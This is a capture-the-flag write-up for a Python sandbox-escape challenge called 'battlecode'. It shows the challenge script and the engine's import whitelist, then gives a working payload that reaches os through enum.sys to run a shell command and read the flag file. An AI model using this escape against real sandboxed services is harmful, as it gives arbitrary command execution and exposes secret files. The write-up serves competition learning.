ctf-writeups

battlecode

look who's trying to sandbox python with restrictedpython

nc challs1.pyjail.club 19290

Attachment:

#!/usr/local/bin/python3
from os import system

print('battlecode. end input with __EOF__')

code = ''
while (line := input()) != '__EOF__':
    code += line
    code += '\n'

system('cp -r /battlecode25-scaffold /tmp/battlecode25-scaffold')

with open('/tmp/battlecode25-scaffold/python/src/examplefuncsplayer/bot.py', 'w') as f:
    f.write(code)

system(b'cd /tmp/battlecode25-scaffold/python && /usr/local/bin/python3 /tmp/battlecode25-scaffold/python/run.py run --p1 examplefuncsplayer --p2 examplefuncsplayer')

print('goodbye')

Our code is running under restricted environment for battlecode game. Reading the code of the container, we find some modules that are allowed to import:

# battlecode25/engine/container/runner.py
def import_call(self, name, globals=None, locals=None, fromlist=(), level=0, caller='robot'):
    if not isinstance(name, str) or not (isinstance(fromlist, tuple) or fromlist is None):
        raise ImportError('Invalid import.')

    if name == '':
        # This should be easy to add, but it's work.
        raise ImportError('No relative imports (yet).')

    if not name in self.code:
        if name == 'random':
            import random
            return random
        if name == 'math':
            import math
            return math
        if name == 'enum':
            import enum
            return enum

        raise ImportError('Module "' + name + '" does not exist.')

We find that enum module can be used to access sys, just as we can access sys from datetime in Vibe Web Mail:

$ python3.12
>>> import enum
>>> dir(enum)
['CONFORM', 'CONTINUOUS', 'DynamicClassAttribute', 'EJECT', 'Enum', 'EnumCheck', 'EnumMeta', 'EnumType', 'Flag', 'FlagBoundary', 'IntEnum', 'IntFlag', 'KEEP', 'MappingProxyType', 'NAMED_FLAGS', 'ReprEnum', 'STRICT', 'StrEnum', 'UNIQUE', '_EnumDict', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_auto_null', '_dataclass_repr', '_dedent', '_high_bit', '_is_descriptor', '_is_dunder', '_is_internal_class', '_is_private', '_is_single_bit', '_is_sunder', '_iter_bits_lsb', '_make_class_unpicklable', '_not_given', '_old_convert_', '_or_', '_proto_member', '_reduce_ex_by_global_name', '_simple_enum', '_stdlib_enums', '_test_simple_enum', 'auto', 'bin', 'bltns', 'global_enum', 'global_enum_repr', 'global_flag_repr', 'global_str', 'member', 'nonmember', 'pickle_by_enum_name', 'pickle_by_global_name', 'property', 'reduce', 'show_flag_values', 'sys', 'unique', 'verify']
>>> enum.sys
<module 'sys' (built-in)>

Attack:

import enum


def turn():
    enum.sys.modules["os"].system("cat /app/flag.txt")


__EOF__

Flag: jail{enum_is_based_for_importing_sys_and_builtins}.

First blood: wake up, jiegec just blooded battlecode.